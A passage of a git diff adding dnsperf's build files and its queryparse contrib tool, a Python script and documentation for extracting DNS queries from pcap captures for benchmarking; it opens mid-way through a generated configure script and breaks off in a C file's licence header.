<<\_ACEOF || ac_write_fail=1 +ac_cs_usage="\ +\`$as_me' instantiates files from templates according to the +current configuration. + +Usage: $0 [OPTION]... [FILE]... + + -h, --help print this help, then exit + -V, --version print version number and configuration settings, then exit + -q, --quiet, --silent + do not print progress messages + -d, --debug don't remove temporary files + --recheck update $as_me by reconfiguring in the same conditions + --file=FILE[:TEMPLATE] + instantiate the configuration file FILE + +Configuration files: +$config_files + +Report bugs to ." + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_cs_version="\\ +config.status +configured by $0, generated by GNU Autoconf 2.63, + with options \\"`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`\\" + +Copyright (C) 2008 Free Software Foundation, Inc. +This config.status script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it." + +ac_pwd='$ac_pwd' +srcdir='$srcdir' +INSTALL='$INSTALL' +test -n "\$AWK" || AWK=awk +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# The default lists apply if the user does not specify any file. +ac_need_defaults=: +while test $# != 0 +do + case $1 in + --*=*) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` + ac_shift=: + ;; + *) + ac_option=$1 + ac_optarg=$2 + ac_shift=shift + ;; + esac + + case $ac_option in + # Handling of the options. + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + ac_cs_recheck=: ;; + --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) + $as_echo "$ac_cs_version"; exit ;; + --debug | --debu | --deb | --de | --d | -d ) + debug=: ;; + --file | --fil | --fi | --f ) + $ac_shift + case $ac_optarg in + *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + CONFIG_FILES="$CONFIG_FILES '$ac_optarg'" + ac_need_defaults=false;; + --he | --h | --help | --hel | -h ) + $as_echo "$ac_cs_usage"; exit ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil | --si | --s) + ac_cs_silent=: ;; + + # This is an error. + -*) { $as_echo "$as_me: error: unrecognized option: $1 +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; } ;; + + *) ac_config_targets="$ac_config_targets $1" + ac_need_defaults=false ;; + + esac + shift +done + +ac_configure_extra_args= + +if $ac_cs_silent; then + exec 6>/dev/null + ac_configure_extra_args="$ac_configure_extra_args --silent" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +if \$ac_cs_recheck; then + set X '$SHELL' '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion + shift + \$as_echo "running CONFIG_SHELL=$SHELL \$*" >&6 + CONFIG_SHELL='$SHELL' + export CONFIG_SHELL + exec "\$@" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +exec 5>>config.log +{ + echo + sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX +## Running $as_me. ## +_ASBOX + $as_echo "$ac_log" +} >&5 + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 + +# Handling of arguments. +for ac_config_target in $ac_config_targets +do + case $ac_config_target in + "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; + + *) { { $as_echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5 +$as_echo "$as_me: error: invalid argument: $ac_config_target" >&2;} + { (exit 1); exit 1; }; };; + esac +done + + +# If the user did not use the arguments to specify the items to instantiate, +# then the envvar interface is used. Set only those that are not. +# We use the long form for the default assignment because of an extremely +# bizarre bug on SunOS 4.1.3. +if $ac_need_defaults; then + test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files +fi + +# Have a temporary directory for convenience. Make it in the build tree +# simply because there is no reason against having it here, and in addition, +# creating and moving files from /tmp can sometimes cause problems. +# Hook for its removal unless debugging. +# Note that there is a small window in which the directory will not be cleaned: +# after its creation but before its name has been assigned to `$tmp'. +$debug || +{ + tmp= + trap 'exit_status=$? + { test -z "$tmp" || test ! -d "$tmp" || rm -fr "$tmp"; } && exit $exit_status +' 0 + trap '{ (exit 1); exit 1; }' 1 2 13 15 +} +# Create a (secure) tmp directory for tmp files. + +{ + tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && + test -n "$tmp" && test -d "$tmp" +} || +{ + tmp=./conf$$-$RANDOM + (umask 077 && mkdir "$tmp") +} || +{ + $as_echo "$as_me: cannot create a temporary directory in ." >&2 + { (exit 1); exit 1; } +} + +# Set up the scripts for CONFIG_FILES section. +# No need to generate them if there are no CONFIG_FILES. +# This happens for instance with `./config.status config.h'. +if test -n "$CONFIG_FILES"; then + + +ac_cr=' ' +ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` +if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then + ac_cs_awk_cr='\\r' +else + ac_cs_awk_cr=$ac_cr +fi + +echo 'BEGIN {' >"$tmp/subs1.awk" && +_ACEOF + + +{ + echo "cat >conf$$subs.awk <<_ACEOF" && + echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && + echo "_ACEOF" +} >conf$$subs.sh || + { { $as_echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 +$as_echo "$as_me: error: could not make $CONFIG_STATUS" >&2;} + { (exit 1); exit 1; }; } +ac_delim_num=`echo "$ac_subst_vars" | grep -c '$'` +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + . ./conf$$subs.sh || + { { $as_echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 +$as_echo "$as_me: error: could not make $CONFIG_STATUS" >&2;} + { (exit 1); exit 1; }; } + + ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` + if test $ac_delim_n = $ac_delim_num; then + break + elif $ac_last_try; then + { { $as_echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 +$as_echo "$as_me: error: could not make $CONFIG_STATUS" >&2;} + { (exit 1); exit 1; }; } + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done +rm -f conf$$subs.sh + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +cat >>"\$tmp/subs1.awk" <<\\_ACAWK && +_ACEOF +sed -n ' +h +s/^/S["/; s/!.*/"]=/ +p +g +s/^[^!]*!// +:repl +t repl +s/'"$ac_delim"'$// +t delim +:nl +h +s/\(.\{148\}\).*/\1/ +t more1 +s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ +p +n +b repl +:more1 +s/["\\]/\\&/g; s/^/"/; s/$/"\\/ +p +g +s/.\{148\}// +t nl +:delim +h +s/\(.\{148\}\).*/\1/ +t more2 +s/["\\]/\\&/g; s/^/"/; s/$/"/ +p +b +:more2 +s/["\\]/\\&/g; s/^/"/; s/$/"\\/ +p +g +s/.\{148\}// +t delim +' >$CONFIG_STATUS || ac_write_fail=1 +rm -f conf$$subs.awk +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +_ACAWK +cat >>"\$tmp/subs1.awk" <<_ACAWK && + for (key in S) S_is_set[key] = 1 + FS = "" + +} +{ + line = $ 0 + nfields = split(line, field, "@") + substed = 0 + len = length(field[1]) + for (i = 2; i < nfields; i++) { + key = field[i] + keylen = length(key) + if (S_is_set[key]) { + value = S[key] + line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) + len += length(value) + length(field[++i]) + substed = 1 + } else + len += 1 + keylen + } + + print line +} + +_ACAWK +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then + sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" +else + cat +fi < "$tmp/subs1.awk" > "$tmp/subs.awk" \ + || { { $as_echo "$as_me:$LINENO: error: could not setup config files machinery" >&5 +$as_echo "$as_me: error: could not setup config files machinery" >&2;} + { (exit 1); exit 1; }; } +_ACEOF + +# VPATH may cause trouble with some makes, so we remove $(srcdir), +# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and +# trailing colons and then remove the whole line if VPATH becomes empty +# (actually we leave an empty line to preserve line numbers). +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=/{ +s/:*\$(srcdir):*/:/ +s/:*\${srcdir}:*/:/ +s/:*@srcdir@:*/:/ +s/^\([^=]*=[ ]*\):*/\1/ +s/:*$// +s/^[^=]*=[ ]*$// +}' +fi + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +fi # test -n "$CONFIG_FILES" + + +eval set X " :F $CONFIG_FILES " +shift +for ac_tag +do + case $ac_tag in + :[FHLC]) ac_mode=$ac_tag; continue;; + esac + case $ac_mode$ac_tag in + :[FHL]*:*);; + :L* | :C*:*) { { $as_echo "$as_me:$LINENO: error: invalid tag $ac_tag" >&5 +$as_echo "$as_me: error: invalid tag $ac_tag" >&2;} + { (exit 1); exit 1; }; };; + :[FH]-) ac_tag=-:-;; + :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; + esac + ac_save_IFS=$IFS + IFS=: + set x $ac_tag + IFS=$ac_save_IFS + shift + ac_file=$1 + shift + + case $ac_mode in + :L) ac_source=$1;; + :[FH]) + ac_file_inputs= + for ac_f + do + case $ac_f in + -) ac_f="$tmp/stdin";; + *) # Look for the file first in the build tree, then in the source tree + # (if the path is not absolute). The absolute path cannot be DOS-style, + # because $ac_f cannot contain `:'. + test -f "$ac_f" || + case $ac_f in + [\\/$]*) false;; + *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; + esac || + { { $as_echo "$as_me:$LINENO: error: cannot find input file: $ac_f" >&5 +$as_echo "$as_me: error: cannot find input file: $ac_f" >&2;} + { (exit 1); exit 1; }; };; + esac + case $ac_f in *\'*) ac_f=`$as_echo "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac + ac_file_inputs="$ac_file_inputs '$ac_f'" + done + + # Let's still pretend it is `configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + configure_input='Generated from '` + $as_echo "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' + `' by configure.' + if test x"$ac_file" != x-; then + configure_input="$ac_file. $configure_input" + { $as_echo "$as_me:$LINENO: creating $ac_file" >&5 +$as_echo "$as_me: creating $ac_file" >&6;} + fi + # Neutralize special characters interpreted by sed in replacement strings. + case $configure_input in #( + *\&* | *\|* | *\\* ) + ac_sed_conf_input=`$as_echo "$configure_input" | + sed 's/[\\\\&|]/\\\\&/g'`;; #( + *) ac_sed_conf_input=$configure_input;; + esac + + case $ac_tag in + *:-:* | *:-) cat >"$tmp/stdin" \ + || { { $as_echo "$as_me:$LINENO: error: could not create $ac_file" >&5 +$as_echo "$as_me: error: could not create $ac_file" >&2;} + { (exit 1); exit 1; }; } ;; + esac + ;; + esac + + ac_dir=`$as_dirname -- "$ac_file" || +$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_file" : 'X\(//\)[^/]' \| \ + X"$ac_file" : 'X\(//\)$' \| \ + X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$ac_file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + { as_dir="$ac_dir" + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || { $as_mkdir_p && mkdir -p "$as_dir"; } || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || { { $as_echo "$as_me:$LINENO: error: cannot create directory $as_dir" >&5 +$as_echo "$as_me: error: cannot create directory $as_dir" >&2;} + { (exit 1); exit 1; }; }; } + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + + case $ac_mode in + :F) + # + # CONFIG_FILE + # + + case $INSTALL in + [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; + *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; + esac +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# If the template does not know about datarootdir, expand it. +# FIXME: This hack should be removed a few years after 2.60. +ac_datarootdir_hack=; ac_datarootdir_seen= + +ac_sed_dataroot=' +/datarootdir/ { + p + q +} +/@datadir@/p +/@docdir@/p +/@infodir@/p +/@localedir@/p +/@mandir@/p +' +case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in +*datarootdir*) ac_datarootdir_seen=yes;; +*@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) + { $as_echo "$as_me:$LINENO: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 +$as_echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 + ac_datarootdir_hack=' + s&@datadir@&$datadir&g + s&@docdir@&$docdir&g + s&@infodir@&$infodir&g + s&@localedir@&$localedir&g + s&@mandir@&$mandir&g + s&\\\${datarootdir}&$datarootdir&g' ;; +esac +_ACEOF + +# Neutralize VPATH when `$srcdir' = `.'. +# Shell code in configure.ac might set extrasub. +# FIXME: do we really want to maintain this feature? +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_sed_extra="$ac_vpsub +$extrasub +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +:t +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +s|@configure_input@|$ac_sed_conf_input|;t t +s&@top_builddir@&$ac_top_builddir_sub&;t t +s&@top_build_prefix@&$ac_top_build_prefix&;t t +s&@srcdir@&$ac_srcdir&;t t +s&@abs_srcdir@&$ac_abs_srcdir&;t t +s&@top_srcdir@&$ac_top_srcdir&;t t +s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t +s&@builddir@&$ac_builddir&;t t +s&@abs_builddir@&$ac_abs_builddir&;t t +s&@abs_top_builddir@&$ac_abs_top_builddir&;t t +s&@INSTALL@&$ac_INSTALL&;t t +$ac_datarootdir_hack +" +eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$tmp/subs.awk" >$tmp/out \ + || { { $as_echo "$as_me:$LINENO: error: could not create $ac_file" >&5 +$as_echo "$as_me: error: could not create $ac_file" >&2;} + { (exit 1); exit 1; }; } + +test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && + { ac_out=`sed -n '/\${datarootdir}/p' "$tmp/out"`; test -n "$ac_out"; } && + { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' "$tmp/out"`; test -z "$ac_out"; } && + { $as_echo "$as_me:$LINENO: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined." >&5 +$as_echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined." >&2;} + + rm -f "$tmp/stdin" + case $ac_file in + -) cat "$tmp/out" && rm -f "$tmp/out";; + *) rm -f "$ac_file" && mv "$tmp/out" "$ac_file";; + esac \ + || { { $as_echo "$as_me:$LINENO: error: could not create $ac_file" >&5 +$as_echo "$as_me: error: could not create $ac_file" >&2;} + { (exit 1); exit 1; }; } + ;; + + + + esac + +done # for ac_tag + + +{ (exit 0); exit 0; } +_ACEOF +chmod +x $CONFIG_STATUS +ac_clean_files=$ac_clean_files_save + +test $ac_write_fail = 0 || + { { $as_echo "$as_me:$LINENO: error: write failure creating $CONFIG_STATUS" >&5 +$as_echo "$as_me: error: write failure creating $CONFIG_STATUS" >&2;} + { (exit 1); exit 1; }; } + + +# configure is writing to config.log, and then calls config.status. +# config.status does its own redirection, appending to config.log. +# Unfortunately, on DOS this fails, as config.log is still kept open +# by configure, so config.status won't be able to write to it; its +# output is simply discarded. So we exec the FD to /dev/null, +# effectively closing config.log, so it can be properly (re)opened and +# appended to by config.status. When coming back to configure, we +# need to make the FD available again. +if test "$no_create" != yes; then + ac_cs_success=: + ac_config_status_args= + test "$silent" = yes && + ac_config_status_args="$ac_config_status_args --quiet" + exec 5>/dev/null + $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false + exec 5>>config.log + # Use ||, not &&, to avoid exiting from the if with $? = 1, which + # would make configure fail if this is the last instruction. + $ac_cs_success || { (exit 1); exit 1; } +fi +if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then + { $as_echo "$as_me:$LINENO: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 +$as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} +fi + diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/configure.in b/dns-projects/dnsperf-src-2.0.0.0-1/configure.in new file mode 100644 index 0000000..4a6bf6a --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/configure.in @@ -0,0 +1,73 @@ +# +# Copyright (C) 2000, 2001 Nominum, Inc. +# +# Permission to use, copy, modify, and distribute this software for any +# purpose with or without fee is hereby granted, provided that the above +# copyright notice and this permission notice appear in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM +# DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL +# INTERNET SOFTWARE CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, +# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING +# FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, +# NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION +# WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. +# + +AC_INIT(dnsperf.c) + +AC_PREREQ(2.13) + +AC_PROG_CC +AC_PROG_INSTALL +AC_PROG_RANLIB + +AC_C_INLINE + +AC_DEFUN(AC_TYPE_SOCKLEN_T, +[AC_CACHE_CHECK([for socklen_t], ac_cv_type_socklen_t, +[ + AC_TRY_COMPILE( + [#include + #include ], + [socklen_t len = 42; return len;], + ac_cv_type_socklen_t=yes, + ac_cv_type_socklen_t=no) +]) + if test $ac_cv_type_socklen_t != yes; then + AC_DEFINE(socklen_t, int) + fi +]) + +AC_DEFUN(AC_SA_LEN, +[AC_CACHE_CHECK([for sa_len], ac_cv_sa_len, +[ + AC_TRY_COMPILE( + [#include + #include ], + [struct sockaddr sa; sa.sa_len = 0;], + ac_cv_sa_len=yes, + ac_cv_sa_len=no) +]) + if test $ac_cv_sa_len = yes; then + AC_DEFINE(HAVE_SA_LEN) + fi +]) + +AC_CHECK_LIB(socket, socket) +AC_CHECK_LIB(nsl, inet_ntoa) + +AC_PATH_PROG(ac_cv_isc_config, [isc-config.sh], "no") +if test "$ac_cv_isc_config" = "no"; then + AC_MSG_ERROR(BIND 9 libraries must be installed) +fi +AC_SUBST(DNSLIBS, "`$ac_cv_isc_config --libs dns bind9`") +AC_SUBST(DNSCFLAGS, "`$ac_cv_isc_config --cflags dns bind9`") + +AC_TYPE_SOCKLEN_T +AC_SA_LEN + +ACX_PTHREAD + +AC_OUTPUT(Makefile) diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/INSTALL b/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/INSTALL new file mode 100644 index 0000000..c22d5b3 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/INSTALL @@ -0,0 +1,48 @@ + +Installation +------------ + +Queryparse requires the dnspython and pcapy python modules. Pcapy depends +upon the pcap library. + +Libpcap may be obtained from http://www.tcpdump.org/ +Dnspython may be obtained from http://www.dnspython.org/ +Pcapy may be obtained from http://oss.coresecurity.com/projects/pcapy.html + +Ensure queryparse is somewhere in your path. + + +Usage +----- +queryparse -i -o + + -i : the tcpdump file that will be parsed to locate DNS + queries. + + -o : the file to which you wish to save the queries parsed + from . When complete, this file is suitable + for use as input to dnsperf. + + -r Keep packets whose RD flag is not set. + Use this flag when parsing captures from authoritative + servers. When parsing captures from caching servers, + do not use this flag unless you also want to parse the + queries the server itself is sending. + + -R Parse response packets (QR=1), instead of query packets + (QR=0). + + +Queryparse takes as input a packet capture file as created by tcpdump (or any +other program that can save data in pcap format). It parses every UDP packet, +looking for DNS queries. When it finds a potential query, it makes every +effort to parse it as a valid query. + +Once queryparse has finished, it will print a set of statistics regarding +the capture file to STDOUT. + + +NOTE: Currently, queryparse will correctly handle packets contained in either +Ethernet frames or Cisco HDLC frames. It is not guaranteed to work with other +framing formats. + diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/USAGE b/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/USAGE new file mode 100644 index 0000000..d5672e9 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/USAGE @@ -0,0 +1,52 @@ + + +To use queryparse, you need one or more files containing pcap-formatted packet +captures, such as those generated by tcpdump via the -w switch. + +Once you have such a file, call queryparse as follows: + +queryparse -i tcpdump.raw -o outputfile + +where "tcpdump.raw" is the name of the pcap-formatted packet capture file, and +"outputfile" is the name you wish to call the saved output of queryparse. + +When queryparse finishes, it will print to STDOUT a count of each type of query +encountered during its run. For example: + +Statistics: + A: 1175140 + SOA: 23639 + NAPTR: 113 + NS: 1329 + CNAME: 1667 + NONE: 38 + PTR: 186053 + AAAA: 50858 + ANY: 2117 + SRV: 49470 + KEY: 218 + A6: 245 + TXT: 24243 + MX: 517510 +------------------------- + TOTAL: 2032640 + + + +The resulting output is in a format suitable as input to resperf or dnsperf. +For example: + +example.biz. A +example.net. MX +foo.example.tv. A +example.enc. MX +example[2].txt. MX +foo.]. MX + + +Note that there are both valid and invalid host names in the output: Neither +queryparse nor resperf or dnsperf discriminate on the basis of a host name's +adherence to RFCs. If the query was put on the wire and can be recognized as a +properly-formed query, it will be saved. If this does not meet your needs, you +may wish to parse the resulting output file to eliminate nonconforming host +names. diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/queryparse b/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/queryparse new file mode 100755 index 0000000..961e597 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/queryparse @@ -0,0 +1,115 @@ +#!/usr/bin/env python + +import dns.message +import dns.rrset +import dns.flags +import dns.name +import pcapy +import socket +import sys +import struct +from optparse import OptionParser + + +__author__ = "Nominum, Inc." +__version__ = "1.0.2.0" +__date__ = "2007-05-14" + +IPHeader = '!BBHHHBBHLL' + +IPHDRLEN = 20 +UDPHDRLEN = 8 +LINKTYPE_C_HDLC = 104 +LINKTYPE_ETHERNET = 1 +qtypecount = {} + + +def main(argv): + parser = OptionParser(usage="%prog [options]", + version = "%prog " + __version__ ) + parser.add_option("-i", "--input", dest="fin", + help="name of tcpdump file to parse", metavar="FILE") + parser.add_option("-o", "--output", dest="fout", + help="file in which to save parsed DNS queries", + metavar="FILE") + parser.add_option("-r", "--recursion", dest="recurse", action="store_true", + default=False, + help="Keep queries whose RD flag is 0 (default: discard)") + parser.add_option("-R", "--responses", dest="responses", + action="store_true", default=False, + help="Parse query responses instead of queries") + (opts, args) = parser.parse_args() + + if opts.fin: + pcap = pcapy.open_offline(opts.fin) + else: + pcap = pcapy.open_offline('-') + linktype = pcap.datalink() + if linktype == LINKTYPE_C_HDLC: + IPHDRSTART = 4 + else: + IPHDRSTART = 14 + if opts.fout: + outfile = open(opts.fout, "w") + else: + outfile = sys.stdout + while True: + try: + packet = pcap.next() + except: + break + + + packet = packet[1] + # Toss the stuff before the IP header + packet = packet[IPHDRSTART:] + + # Grab the rest of the packet so we can parse proto + iphdr = packet[0:IPHDRLEN] + if len(iphdr) < IPHDRLEN: + continue + (vhl, tos, tlen, ipid, fragoff, ttl, proto, cksum, srcip, dstip) = \ + struct.unpack(IPHeader, iphdr) + + # Toss the IP header, we're done with it. We need to account + # for any IP header options. + ihl = (vhl & 0xF) * 4 + packet = packet[ihl:] + + if proto == socket.IPPROTO_UDP: # UDP, 8-byte header + packet = packet[UDPHDRLEN:] + else: + continue + + try: + msg = dns.message.from_wire(packet) + except: + continue + if not opts.recurse and not dns.flags.RD: + continue + if opts.responses: + querytest = msg.flags & dns.flags.QR + else: + querytest = not (msg.flags & dns.flags.QR) + if querytest: + for query in msg.question: # handle multiple queries per packet + fqdn = query.name.to_text() + qtype = dns.rdatatype.to_text(query.rdtype) + outfile.write("%s %s\n" % (fqdn, qtype)) + # add qtype to dict if not present, otherwise increment + qtypecount[qtype] = qtypecount.get(qtype, 0) + 1 + + if outfile is not sys.stdout: + outfile.close() + sum = 0 + print "Statistics:" + for v, d in qtypecount.items(): + if d: + print " %10s:\t%d" % (v, d) + sum += d + print "-------------------------" + print " TOTAL:\t%d" % sum + +if __name__ == '__main__': + main(sys.argv[1:]) + diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/queryparse.1 b/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/queryparse.1 new file mode 100644 index 0000000..8d9ea0d --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/queryparse.1 @@ -0,0 +1,50 @@ +.TH "queryparse" 1 +.SH NAME +queryparse \- extract DNS queries from pcap capture files. +.SH SYNOPSIS +.B queryparse [-i +.I input file +.B ] [-o +.I output file +.B ] [-r +.I recursion only +.B ] [-R +.I parse responses +.B ] +.SH DESCRIPTION +.B queryparse +is a tool designed to extract DNS queries from pcap-formatted packet +capture files and save them in a form suitable for input to Nominum's +dnsperf or resperf benchmarking tools. +.B queryparse +will only examine UDP packets, and currently supports Ethernet and Cisco HDLC frame types. +.SH OPTIONS +.IP "\-i filename" +Attempt to extract DNS queries from +.I filename, +which should be a pcap-formatted packet capture session (e.g., a file created +by tcpdump or ethereal). +.IP "\-o filename" +Write queries to +.I filename +in a format suitable for input to Nominum's dnsperf or resperf benchmarking tools. +.IP "\-r" +Keep queries that do not have the RD (recursion desired) flag set. This is useful when parsing packet captures from authoritative nameservers. When parsing captures from caching nameservers, do not use it unless you also want to parse the outgoing queries from the nameserver. Defaults to discarding queries with RD=0. +.IP "\-R" +Parse responses (QR=1) instead of queries (QR=0). +.SH FILES +None +.SH ENVIRONMENT +None +.SH DIAGNOSTICS +None +.SH BUGS +None +.SH AUTHOR +Nominum, Inc. +.SH "SEE ALSO" +.BR dnsperf (1), +.BR resperf (1), +.BR pcap (3), +.BR tcpdump (8) + diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/datafile.c b/dns-projects/dnsperf-src-2.0.0.0-1/datafile.c new file mode 100644 index 0000000..540038f --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/datafile.c @@ -0,0 +1,275 @@ +/* + * Copyright (C) 2011 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all 